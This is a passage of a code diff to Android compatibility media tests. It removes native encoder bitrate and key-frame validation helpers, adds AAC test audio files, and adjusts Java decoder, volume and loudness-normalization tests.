-int32_t Stats::getBitrateAverage(int32_t frameNumFrom, int32_t frameNumTo) const {
-    int64_t sum = 0;
-    assert(frameNumFrom >= 0 && frameNumTo < mInfos.size());
-    for (int i = frameNumFrom; i < frameNumTo; ++i) {
-        sum += mInfos[i].size;
-    }
-    sum *= 8; // kB -> kb
-
-    auto from = mInfos.begin() + frameNumFrom;
-    auto to = mInfos.begin() + frameNumTo;
-    int64_t duration = (*std::max_element(from, to, comparePTS)).presentationTimeUs
-            - (*std::min_element(from, to, comparePTS)).presentationTimeUs;
-    if (duration <= 0) {
-        return 0;
-    }
-
-    int64_t avg = (sum * 1e6) / duration;
-    return (int32_t)avg;
-}
-
-int32_t Stats::getBitratePeak(
-        int32_t frameNumFrom, int32_t frameNumTo, int32_t windowSize) const {
-    int64_t sum = 0;
-    int64_t maxSum = 0;
-    assert(frameNumFrom >= 0 && frameNumTo < mInfos.size());
-    assert(windowSize < (frameNumTo - frameNumFrom));
-
-    for (int i = frameNumFrom; i < frameNumTo; ++i) {
-        sum += mInfos[i].size;
-        if (i >= windowSize) {
-            sum -= mInfos[i - windowSize].size;
-        }
-        maxSum = sum > maxSum ? sum : maxSum;
-    }
-    maxSum *= 8; // kB -> kb
-    int64_t duration = mInfos[frameNumTo].presentationTimeUs -
-            mInfos[frameNumFrom].presentationTimeUs;
-    if (duration <= 0) {
-        return 0;
-    }
-
-    int64_t peak = (maxSum * 1e6) / duration;
-    return (int32_t)peak;
-}
-
-int32_t Stats::getSyncFrameNext(int32_t frameNumWhence) const {
-    assert(frameNumWhence >= 0 && frameNumWhence < mInfos.size());
-    int i = frameNumWhence;
-    for (; i < (int)mInfos.size(); ++i) {
-        if (mInfos[i].flags & TBD_AMEDIACODEC_BUFFER_FLAG_KEY_FRAME) {
-            return i;
-        }
-    }
-    return -1;
-}
-
-Status Validator::checkOverallBitrate(const Stats &stats, const RunConfig& config) {
-    // skip this check if bitrate was updated dynamically
-    ALOGV("DEBUG: checkOverallBitrate");
-    std::vector<DParamRef> tmp;
-    if (config.dynamicParamsOfKind(TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, tmp) > 0) {
-        ALOGV("DEBUG: checkOverallBitrate: dynamic bitrate enabled");
-        return OK;
-    }
-
-    int32_t bitrate = 0;
-    if (!AMediaFormat_getInt32(config.format(), AMEDIAFORMAT_KEY_BIT_RATE, &bitrate)) {
-        // should not happen
-        ALOGV("DEBUG: checkOverallBitrate: bitrate was not configured !");
-        return FAIL;
-    }
-    assert(bitrate > 0);
-
-    int32_t avgBitrate = stats.getBitrateAverage(0, config.frameCount() - 1);
-    float deviation = (avgBitrate - bitrate) * 100 / bitrate;
-    ALOGI("RESULT: Bitrate expected=%d Achieved=%d Deviation=%.2g%%",
-            bitrate, avgBitrate, deviation);
-
-    if (fabs(deviation) > kBitrateDeviationPercentMax) {
-        ALOGI("RESULT: ERROR: bitrate deviation(%.2g%%) exceeds threshold (+/-%.2g%%)",
-                deviation, kBitrateDeviationPercentMax);
-        return FAIL;
-    }
-
-    // TODO
-    // if bitrate mode was set to CBR, check for peak-bitrate deviation (+/-20%?)
-    return OK;
-}
-
-Status Validator::checkFramerate(const Stats&, const RunConfig&) {
-    // TODO - tricky if frames are reordered
-    return OK;
-}
-
-Status Validator::checkIntraPeriod(const Stats& stats, const RunConfig& config) {
-    float framerate;
-    if (!AMediaFormat_getFloat(config.format(), AMEDIAFORMAT_KEY_FRAME_RATE, &framerate)) {
-        // should not happen
-        ALOGV("DEBUG: checkIntraPeriod: framerate was not configured ! : %s",
-                AMediaFormat_toString(config.format()));
-        return OK;
-    }
-
-    int32_t intraPeriod;
-    if (!AMediaFormat_getInt32(config.format(), AMEDIAFORMAT_KEY_I_FRAME_INTERVAL, &intraPeriod)) {
-        // should not happen
-        ALOGV("DEBUG: checkIntraPeriod: I-period was not configured !");
-        return OK;
-    }
-
-    // TODO: handle special cases
-    // intraPeriod = 0  => all I
-    // intraPeriod < 0  => infinite GOP
-    if (intraPeriod <= 0) {
-        return OK;
-    }
-
-    int32_t iInterval = framerate * intraPeriod;
-
-    if (iInterval >= stats.frameCount()) {
-        ALOGV("RESULT: Intra-period %d exceeds frame-count %d ..skipping",
-                iInterval, stats.frameCount());
-        return OK;
-    }
-
-    int32_t numGopFound = 0;
-    int32_t sumGopDistance = 0;
-    int32_t lastKeyLocation = stats.getSyncFrameNext(0);
-    for (;;) {
-        int32_t nextKeyLocation = stats.getSyncFrameNext(lastKeyLocation + iInterval - kSyncFrameDeviationFramesMax);
-        if (nextKeyLocation < 0) {
-            break;
-        }
-        if (abs(nextKeyLocation - lastKeyLocation - iInterval) > kSyncFrameDeviationFramesMax) {
-            ALOGE("RESULT: ERROR: Intra period at frame %d is %d (expected %d +/-%d)",
-                    lastKeyLocation, nextKeyLocation - lastKeyLocation, iInterval,
-                    kSyncFrameDeviationFramesMax);
-            return FAIL;
-        }
-        ++numGopFound;
-        sumGopDistance += (nextKeyLocation - lastKeyLocation);
-        lastKeyLocation = nextKeyLocation;
-    }
-
-    if (numGopFound) {
-        ALOGI("RESULT: Intra-period: configured=%d frames (%d sec). Actual=%d frames",
-                iInterval, intraPeriod, sumGopDistance / numGopFound);
-    }
-
-    return OK;
-}
-
-Status Validator::checkDynamicKeyFrames(const Stats& stats, const RunConfig& config) {
-    ALOGV("DEBUG: checkDynamicKeyFrames");
-    std::vector<DParamRef> keyRequests;
-    if (config.dynamicParamsOfKind(TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, keyRequests) <= 0) {
-        ALOGV("DEBUG: dynamic key-frames were not requested");
-        return OK;
-    }
-
-    std::string debugStr = "";
-    bool fail = false;
-    for (DParamRef &d : keyRequests) {
-        int32_t generatedKeyLocation = stats.getSyncFrameNext(d->frameNum());
-        if (generatedKeyLocation - d->frameNum() > kSyncFrameDeviationFramesMax) {
-            ALOGI("RESULT: ERROR: Dynamic sync-frame requested at frame=%d, got at frame=%d",
-                    d->frameNum(), generatedKeyLocation);
-            fail = true;
-        }
-        char tmp[128];
-        snprintf(tmp, 128, " %d/%d,", generatedKeyLocation, d->frameNum());
-        debugStr = debugStr + std::string(tmp);
-    }
-    ALOGI("RESULT: Dynamic Key-frame locations - actual/requested :");
-    ALOGI("RESULT:         %s", debugStr.c_str());
-
-    return fail ? FAIL : OK;
-}
-
-Status Validator::checkDynamicBitrate(const Stats& stats, const RunConfig& config) {
-    // Checking bitrate convergence between two updates makes sense if requested along with CBR
-    // check if CBR mode has been set. If not, simply pass
-    int32_t bitrateMode;
-    if (!AMediaFormat_getInt32(config.format(), TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE,
-            &bitrateMode) || bitrateMode != kBitrateModeConstant) {
-        ALOGV("DEBUG: checkDynamicBitrate: skipping since CBR not requested");
-        return OK; //skip
-    }
-
-    // check if dynamic bitrates were requested
-    std::vector<DParamRef> bitrateUpdates;
-    if (config.dynamicParamsOfKind(TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, bitrateUpdates) <= 0) {
-        ALOGV("DEBUG: checkDynamicBitrate: dynamic bitrates not requested !");
-        return OK; //skip
-    }
-    int32_t bitrate = 0;
-    if (!AMediaFormat_getInt32(config.format(), AMEDIAFORMAT_KEY_BIT_RATE, &bitrate)) {
-        // should not happen
-        ALOGV("DEBUG: checkDynamicBitrate: bitrate was not configured !");
-        return OK; //skip
-    }
-    assert(bitrate > 0);
-
-    std::string debugStr = "";
-    int32_t lastBitrateUpdateFrameNum = 0;
-    int32_t lastBitrate = bitrate;
-    bool fail = false;
-
-    for (DParamRef &d : bitrateUpdates) {
-        int32_t updatedBitrate = 0;
-        if (!AMediaFormat_getInt32(
-                d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, &updatedBitrate)) {
-            ALOGE("BUG: expected dynamic bitrate");
-            continue;
-        }
-        assert(updatedBitrate > 0);
-
-        int32_t lastAverage = stats.getBitrateAverage(lastBitrateUpdateFrameNum,  d->frameNum() - 1);
-        float deviation = (lastAverage - lastBitrate) * 100 / lastBitrate;
-
-        if (fabs(deviation) > kBitrateDeviationPercentMax) {
-            ALOGI("RESULT: ERROR: dynamic bitrate deviation(%.2g%%) exceeds threshold (+/-%.2g%%)",
-                    deviation, kBitrateDeviationPercentMax);
-            fail |= true;
-        }
-
-        char tmp[128];
-        snprintf(tmp, 128, "  [%d - %d] %d/%d,",
-                lastBitrateUpdateFrameNum, d->frameNum() - 1, lastAverage, lastBitrate);
-        debugStr = debugStr + std::string(tmp);
-        lastBitrate = updatedBitrate;
-        lastBitrateUpdateFrameNum = d->frameNum();
-    }
-
-    ALOGI("RESULT: Dynamic Bitrates : [from-frame  -  to-frame] actual/expected :");
-    ALOGI("RESULT:        %s", debugStr.c_str());
-
-    return fail ? FAIL : OK;
-}
-
-
 }; // namespace Utils
diff --git a/tests/tests/media/libmediandkjni/native_media_utils.h b/tests/tests/media/libmediandkjni/native_media_utils.h
index 8a1751e..e5842f7 100644
--- a/tests/tests/media/libmediandkjni/native_media_utils.h
+++ b/tests/tests/media/libmediandkjni/native_media_utils.h
@@ -32,20 +32,6 @@
 
 namespace Utils {
 
-// constants not defined in NDK api
-extern const char * TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME;
-extern const char * TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE;
-static const uint32_t TBD_AMEDIACODEC_BUFFER_FLAG_KEY_FRAME = 0x1;
-
-extern const char * TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE;
-static const int32_t kBitrateModeConstant = 2;
-static const int32_t kColorFormatSurface = 0x7f000789;
-
-// tolerances
-// Keep in sync with the variation at src/android/media/cts/VideoCodecTest.java
-static const float kBitrateDeviationPercentMax = 20.0;
-static const int32_t kSyncFrameDeviationFramesMax = 5;
-
 enum Status : int32_t {
     FAIL = -1,
     OK = 0,
@@ -92,117 +78,6 @@
     ANativeWindow_release(_a);
 }
 
-/*
- * Dynamic paramater that will be applied via AMediaCodec_setParamater(..)
- *  during the encoding process, at the given frame number
- */
-struct DynamicParam {
-    DynamicParam() = delete;
-    DynamicParam(const DynamicParam&) = delete;
-    ~DynamicParam() = default;
-
-    static std::shared_ptr<DynamicParam> newBitRate(int atFrame, int32_t bitrate) {
-        DynamicParam *d = new DynamicParam(atFrame);
-        AMediaFormat_setInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, bitrate);
-        return std::shared_ptr<DynamicParam>(d);
-    }
-    static std::shared_ptr<DynamicParam> newRequestSync(int atFrame) {
-        DynamicParam *d = new DynamicParam(atFrame);
-        AMediaFormat_setInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, 0 /*ignore*/);
-        return std::shared_ptr<DynamicParam>(d);
-    }
-
-    inline int frameNum() const {
-        return mFrameNum;
-    }
-    inline AMediaFormat *param() const {
-        return mParam.get();
-    }
-
-private:
-    DynamicParam(int _at)
-        : mFrameNum(_at) {
-        mParam = std::shared_ptr<AMediaFormat>(AMediaFormat_new(), deleter_AMediaFormat);
-    }
-
-    int mFrameNum;
-    std::shared_ptr<AMediaFormat> mParam;
-};
-
-using DParamRef = std::shared_ptr<DynamicParam>;
-
-/*
- * Configuration to the encoder (static + dynamic)
- */
-struct RunConfig {
-    RunConfig(const RunConfig&) = delete;
-    RunConfig(int32_t numFramesToEncode, std::shared_ptr<AMediaFormat> staticParams)
-        : mNumFramesToEncode (numFramesToEncode),
-          mStaticParams(staticParams) {
-    }
-    void add(const DParamRef& p) {
-        mParams.push_back(p);
-    }
-
-    AMediaFormat* format() const {
-        return mStaticParams.get();
-    }
-    const std::vector<DParamRef>& dynamicParams() const {
-        return mParams;
-    }
-    int32_t frameCount() const {
-        return mNumFramesToEncode;
-    }
-    int32_t dynamicParamsOfKind(
-        const char *key, std::vector<DParamRef>& ) const;
-
-private:
-    int32_t mNumFramesToEncode;
-    std::vector<DParamRef> mParams;
-    std::shared_ptr<AMediaFormat> mStaticParams;
-};
-
-/*
- * Encoded output statistics
- * provides helpers to compute windowed average of bitrate and search for I-frames
- */
-struct Stats {
-    Stats() = default;
-    Stats(const Stats&) = delete;
-    void add(const AMediaCodecBufferInfo &info) {
-        mInfos.push_back(info);
-    }
-    void setOutputFormat(std::shared_ptr<AMediaFormat> fmt) {
-        mOutputFormat = fmt;
-    }
-    int32_t frameCount() const {
-        return (int32_t)mInfos.size();
-    }
-    const std::vector<AMediaCodecBufferInfo>& infos() const {
-        return mInfos;
-    }
-
-    int32_t getBitrateAverage(int32_t frameNumFrom, int32_t frameNumTo) const;
-    int32_t getBitratePeak(int32_t frameNumFrom, int32_t frameNumTo, int32_t windowSize) const;
-    int32_t getSyncFrameNext(int32_t frameNumWhence) const;
-
-private:
-    std::vector<AMediaCodecBufferInfo> mInfos;
-    std::shared_ptr<AMediaFormat> mOutputFormat;
-};
-
-/*
- * Helpers to validate output (Stats) based on expected settings (RunConfig)
- * Check for validity of both static and dynamic settings
- */
-struct Validator {
-    static Status checkOverallBitrate(const Stats&, const RunConfig&);
-    static Status checkFramerate(const Stats&, const RunConfig&);
-    static Status checkIntraPeriod(const Stats&, const RunConfig&);
-    static Status checkDynamicKeyFrames(const Stats&, const RunConfig&);
-    static Status checkDynamicBitrate(const Stats&, const RunConfig&);
-};
-
 }; //namespace Utils
 
 #endif // _NATIVE_MEDIA_UTILS_H_
diff --git a/tests/tests/media/res/raw/noise_2ch_48khz_tlou_19lufs_alou_21lufs_mp4.m4a b/tests/tests/media/res/raw/noise_2ch_48khz_tlou_19lufs_alou_21lufs_mp4.m4a
new file mode 100644
index 0000000..2c1db9b3
--- /dev/null
+++ b/tests/tests/media/res/raw/noise_2ch_48khz_tlou_19lufs_alou_21lufs_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_48khz_tlou_19lufs_anchor_17lufs_mp4.m4a b/tests/tests/media/res/raw/noise_2ch_48khz_tlou_19lufs_anchor_17lufs_mp4.m4a
new file mode 100644
index 0000000..acba4b3
--- /dev/null
+++ b/tests/tests/media/res/raw/noise_2ch_48khz_tlou_19lufs_anchor_17lufs_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/noise_2ch_48khz_tlou_19lufs_expert_23lufs_mp4.m4a b/tests/tests/media/res/raw/noise_2ch_48khz_tlou_19lufs_expert_23lufs_mp4.m4a
new file mode 100644
index 0000000..496298d0
--- /dev/null
+++ b/tests/tests/media/res/raw/noise_2ch_48khz_tlou_19lufs_expert_23lufs_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/sine_2ch_48khz_aot2_internalclip_mp4.m4a b/tests/tests/media/res/raw/sine_2ch_48khz_aot2_internalclip_mp4.m4a
new file mode 100644
index 0000000..e064df3
--- /dev/null
+++ b/tests/tests/media/res/raw/sine_2ch_48khz_aot2_internalclip_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a b/tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a
new file mode 100644
index 0000000..c0d5056
--- /dev/null
+++ b/tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 08b6977..11aeb5e 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -635,13 +635,14 @@
                     maxVolume),
                     minVolume < maxVolume);
 
-            mAudioManager.setStreamVolume(stream, 1, 0);
+            final int minNonZeroVolume = Math.max(minVolume, 1);
+            mAudioManager.setStreamVolume(stream, minNonZeroVolume, 0);
             if (mUseFixedVolume) {
                 assertEquals(maxVolume, mAudioManager.getStreamVolume(stream));
                 continue;
             }
             assertEquals(String.format("stream=%d", stream),
-                    1, mAudioManager.getStreamVolume(stream));
+                    minNonZeroVolume, mAudioManager.getStreamVolume(stream));
 
             if (stream == AudioManager.STREAM_MUSIC && mAudioManager.isWiredHeadsetOn()) {
                 // due to new regulations, music sent over a wired headset may be volume limited
@@ -681,7 +682,7 @@
             mAudioManager.adjustStreamVolume(stream, ADJUST_SAME, 0);
 
             // volume raise
-            mAudioManager.setStreamVolume(stream, 1, 0);
+            mAudioManager.setStreamVolume(stream, minNonZeroVolume, 0);
             volume = mAudioManager.getStreamVolume(stream);
             while (volume < maxVolume) {
                 volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
diff --git a/tests/tests/media/src/android/media/cts/CodecState.java b/tests/tests/media/src/android/media/cts/CodecState.java
index 2384704..8a8f35d 100644
--- a/tests/tests/media/src/android/media/cts/CodecState.java
+++ b/tests/tests/media/src/android/media/cts/CodecState.java
@@ -20,6 +20,7 @@
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.os.Handler;
+import android.os.Looper;
 import android.util.Log;
 import android.view.Surface;
 import java.nio.ByteBuffer;
@@ -32,7 +33,8 @@
 public class CodecState {
     private static final String TAG = CodecState.class.getSimpleName();
 
-    private boolean mSawInputEOS, mSawOutputEOS;
+    private boolean mSawInputEOS;
+    private volatile boolean mSawOutputEOS;
     private boolean mLimitQueueDepth;
     private boolean mTunneled;
     private boolean mIsAudio;
@@ -43,7 +45,7 @@
     private LinkedList<Integer> mAvailableInputBufferIndices;
     private LinkedList<Integer> mAvailableOutputBufferIndices;
     private LinkedList<MediaCodec.BufferInfo> mAvailableOutputBufferInfos;
-    private long mPresentationTimeUs;
+    private volatile long mPresentationTimeUs;
     private long mSampleBaseTimeUs;
     private MediaCodec mCodec;
     private MediaTimeProvider mMediaTimeProvider;
@@ -51,7 +53,7 @@
     private MediaFormat mFormat;
     private MediaFormat mOutputFormat;
     private NonBlockingAudioTrack mAudioTrack;
-    private OnFrameRenderedListener mOnFrameRenderedListener;
+    private volatile OnFrameRenderedListener mOnFrameRenderedListener;
 
     /**
      * Manages audio and video playback using MediaCodec and AudioTrack.
@@ -89,7 +91,8 @@
 
         if (mTunneled && !mIsAudio) {
             mOnFrameRenderedListener = new OnFrameRenderedListener();
-            codec.setOnFrameRenderedListener(mOnFrameRenderedListener, new Handler());
+            codec.setOnFrameRenderedListener(mOnFrameRenderedListener,
+                                             new Handler(Looper.getMainLooper()));
         }
     }
 
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index 3541454..8c90275 100644
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -35,6 +35,7 @@
 import android.media.MediaCodecInfo.CodecCapabilities;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
+import android.os.Build;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.view.Display;
@@ -42,6 +43,7 @@
 import android.net.Uri;
 import android.os.Bundle;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.DynamicConfigDeviceSide;
@@ -50,6 +52,8 @@
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
 
+import androidx.test.filters.SdkSuppress;
+
 import java.io.BufferedInputStream;
 import java.io.IOException;
 import java.io.InputStream;
@@ -70,6 +74,7 @@
 public class DecoderTest extends MediaPlayerTestBase {
     private static final String TAG = "DecoderTest";
     private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
+    private static boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
 
     private static final int RESET_MODE_NONE = 0;
     private static final int RESET_MODE_RECONFIGURE = 1;
@@ -274,6 +279,8 @@
     private void verifyChannelsAndRates(String[] mimetypes, int[] sampleRates,
                                        int[] channelMasks) throws Exception {
 
+        if (!MediaUtils.check(mIsAtLeastR, "test invalid before Android 11")) return;
+
         for (String mimetype : mimetypes) {
             // ensure we find a codec for all listed mime/channel/rate combinations
             MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
@@ -1691,8 +1698,12 @@
     }
 
     private List<String> codecsFor(int resource) throws IOException {
+        return codecsFor(resource, mResources);
+    }
+
+    protected static List<String> codecsFor(int resource, Resources resources) throws IOException {
         MediaExtractor ex = new MediaExtractor();
-        AssetFileDescriptor fd = mResources.openRawResourceFd(resource);
+        AssetFileDescriptor fd = resources.openRawResourceFd(resource);
         try {
             ex.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
         } finally {
@@ -3575,6 +3586,7 @@
         return pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
     }
 
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
     public void testLowLatencyVp9At1280x720() throws Exception {
         testLowLatencyVideo(
                 R.raw.video_1280x720_webm_vp9_csd_309kbps_25fps_vorbis_stereo_128kbps_48000hz, 300,
@@ -3584,6 +3596,7 @@
                 true /* useNdk */);
     }
 
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
     public void testLowLatencyVp9At1920x1080() throws Exception {
         testLowLatencyVideo(
                 R.raw.bbb_s2_1920x1080_webm_vp9_0p41_10mbps_60fps_vorbis_6ch_384kbps_22050hz, 300,
@@ -3593,6 +3606,7 @@
                 true /* useNdk */);
     }
 
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
     public void testLowLatencyVp9At3840x2160() throws Exception {
         testLowLatencyVideo(
                 R.raw.bbb_s2_3840x2160_webm_vp9_0p51_20mbps_60fps_vorbis_6ch_384kbps_32000hz, 300,
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
index ea8629e..0263601 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
@@ -29,10 +29,15 @@
 import android.media.MediaFormat;
 import android.media.cts.DecoderTest.AudioParameter;
 import android.media.cts.R;
+import android.os.Build;
 import android.util.Log;
+import android.os.Bundle;
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
 import org.junit.Before;
 import org.junit.Test;
 
@@ -45,6 +50,9 @@
 public class DecoderTestAacDrc {
     private static final String TAG = "DecoderTestAacDrc";
 
+    private static final boolean sIsAndroidRAndAbove =
+            ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+
     private Resources mResources;
 
     @Before
@@ -139,6 +147,20 @@
     }
 
     /**
+     * Test if there is decoder internal clipping of MPEG-4 AAC decoder.
+     * Uses a two channel 248 Hz sine tone at 48 kHz sampling rate for input.
+     */
+    @Test
+    public void testDecodeAacInternalClipM4a() throws Exception {
+        if (!MediaUtils.check(sIsAndroidRAndAbove, "Internal clipping fixed in Android R"))
+                return;
+        AudioParameter decParams = new AudioParameter();
+        short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot2_internalclip_mp4,
+                -1, null, null, null /*decoderName: use default decoder*/);
+        checkClipping(decSamples, decParams, 248.0f /* Hz */);
+    }
+
+    /**
      * Default decoder target level.
      * The actual default value used by the decoder can differ between platforms, or even devices,
      * but tests will measure energy relative to this value.
@@ -188,6 +210,91 @@
                         + aacDecName);
                 throw new RuntimeException(e);
             }
+
+            if (sIsAndroidRAndAbove) {
+                // test loudness normalization off
+                // decoderTargetLevel = -1 --> target output level = -19.0 dBFs (program loudness of
+                // waveform)
+                // normFactor = 1/(10^(3/10)) = 0.5f
+                // where 3 is the difference between the default level (-16), and -19 for this test
+                try {
+                    checkUsacLoudness(-1, 0, (float) (1.0f / Math.pow(10.0f, 3.0f / 10.0f)),
+                            aacDecName);
+                } catch (Exception e) {
+                    Log.v(TAG, "testDecodeUsacLoudnessM4a for loudness attenuation failed for "
+                            + aacDecName);
+                    throw new RuntimeException(e);
+                }
+            }
+        }
+    }
+
+    /**
+     * Verify that the correct output loudness values are returned by the MPEG-4 AAC decoder
+     */
+    @Test
+    public void testDecodeAacDrcOutputLoudnessM4a() throws Exception {
+        Log.v(TAG, "START testDecodeAacDrcOutputLoudnessM4a");
+
+        ArrayList<String> aacDecoderNames = DecoderTestXheAac.initAacDecoderNames();
+        assertTrue("No AAC decoder found", aacDecoderNames.size() > 0);
+
+        for (String aacDecName : aacDecoderNames) {
+            // test drc output loudness
+            // testfile without loudness metadata and loudness normalization off
+            // -> expected value: -1
+            try {
+                checkAacDrcOutputLoudness(
+                        R.raw.noise_1ch_24khz_aot5_dr_sbr_sig1_mp4, -1, -1, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed for " +
+                        aacDecName);
+                throw new RuntimeException(e);
+            }
+            // test drc output loudness
+            // testfile without loudness metadata and loudness normalization on
+            // -> expected value: -1
+            try {
+                checkAacDrcOutputLoudness(
+                        R.raw.noise_1ch_24khz_aot5_dr_sbr_sig1_mp4, 70, -1, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed for " +
+                        aacDecName);
+                throw new RuntimeException(e);
+            }
+            // test drc output loudness
+            // testfile with MPEG-4 DRC loudness metadata and loudness normalization off
+            // -> expected value: loudness metadata in bitstream (-16*-4 = 64)
+            try {
+                checkAacDrcOutputLoudness(
+                        R.raw.sine_2ch_48khz_aot2_drchalf_mp4, -1, 64, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed for " +
+                        aacDecName);
+                throw new RuntimeException(e);
+            }
+            // test drc output loudness
+            // testfile with MPEG-4 DRC loudness metadata and loudness normalization off
+            // -> expected value: loudness metadata in bitstream (-31*-4 = 124)
+            try {
+                checkAacDrcOutputLoudness(
+                        R.raw.sine_2ch_48khz_aot5_drcclip_mp4, -1, 124, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed for " +
+                        aacDecName);
+                throw new RuntimeException(e);
+            }
+            // test drc output loudness
+            // testfile with MPEG-4 DRC loudness metadata and loudness normalization on
+            // -> expected value: target loudness value (85)
+            try {
+                checkAacDrcOutputLoudness(
+                        R.raw.sine_2ch_48khz_aot5_drcclip_mp4, 85, 85, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed for " +
+                        aacDecName);
+                throw new RuntimeException(e);
+            }
         }
     }
 
@@ -316,49 +423,75 @@
      */
     private void checkUsacLoudness(int decoderTargetLevel, int heavy, float normFactor,
             String decoderName) throws Exception {
-        AudioParameter decParams = new AudioParameter();
-        DrcParams drcParams_def  = new DrcParams(127, 127, DEFAULT_DECODER_TARGET_LEVEL, 1);
-        DrcParams drcParams_test = new DrcParams(127, 127, decoderTargetLevel, heavy);
+        for (boolean runtimeChange : new boolean[] {false, true}) {
+            if (runtimeChange && !sIsAndroidRAndAbove) {
+                // changing decoder configuration after it has been initialized requires R and above
+                continue;
+            }
+            AudioParameter decParams = new AudioParameter();
+            DrcParams drcParams_def  = new DrcParams(127, 127, DEFAULT_DECODER_TARGET_LEVEL, 1);
+            DrcParams drcParams_test = new DrcParams(127, 127, decoderTargetLevel, heavy);
 
-        short[] decSamples_def = decodeToMemory(decParams, R.raw.noise_2ch_48khz_aot42_19_lufs_mp4,
-                -1, null, drcParams_def, decoderName);
-        short[] decSamples_test = decodeToMemory(decParams, R.raw.noise_2ch_48khz_aot42_19_lufs_mp4,
-                -1, null, drcParams_test, decoderName);
+            short[] decSamples_def = decodeToMemory(decParams,
+                    R.raw.noise_2ch_48khz_aot42_19_lufs_mp4,
+                    -1, null, drcParams_def, decoderName);
+            short[] decSamples_test = decodeToMemory(decParams,
+                    R.raw.noise_2ch_48khz_aot42_19_lufs_mp4,
+                    -1, null, drcParams_test, decoderName, runtimeChange);
 
-        DecoderTestXheAac decTesterXheAac = new DecoderTestXheAac();
-        float[] nrg_def  = decTesterXheAac.checkEnergyUSAC(decSamples_def, decParams, 2, 1);
-        float[] nrg_test = decTesterXheAac.checkEnergyUSAC(decSamples_test, decParams, 2, 1);
+            DecoderTestXheAac decTesterXheAac = new DecoderTestXheAac();
+            float[] nrg_def  = decTesterXheAac.checkEnergyUSAC(decSamples_def, decParams, 2, 1);
+            float[] nrg_test = decTesterXheAac.checkEnergyUSAC(decSamples_test, decParams, 2, 1);
 
-        float[] nrgThreshold = {2602510595620.0f, 2354652443657.0f};
+            float[] nrgThreshold = {2602510595620.0f, 2354652443657.0f};
 
-        // Check default loudness behavior
-        if (nrg_def[0] > nrgThreshold[0] || nrg_def[0] < nrgThreshold[1]) {
-            throw new Exception("Default loudness behavior not as expected");
+            // Check default loudness behavior
+            if (nrg_def[0] > nrgThreshold[0] || nrg_def[0] < nrgThreshold[1]) {
+                throw new Exception("Default loudness behavior not as expected");
+            }
+
+            float nrgRatio = nrg_def[0]/nrg_test[0];
+
+            // Check for loudness boost/attenuation if decoderTargetLevel deviates from default value
+            // used in these tests (note that the default target level can change from platform
+            // to platform, or device to device)
+            if (decoderTargetLevel != -1) {
+                if ((decoderTargetLevel < DEFAULT_DECODER_TARGET_LEVEL) // boosted loudness
+                        && (nrg_def[0] > nrg_test[0])) {
+                    throw new Exception("Signal not attenuated");
+                }
+                if ((decoderTargetLevel > DEFAULT_DECODER_TARGET_LEVEL) // attenuated loudness
+                        && (nrg_def[0] < nrg_test[0])) {
+                    throw new Exception("Signal not boosted");
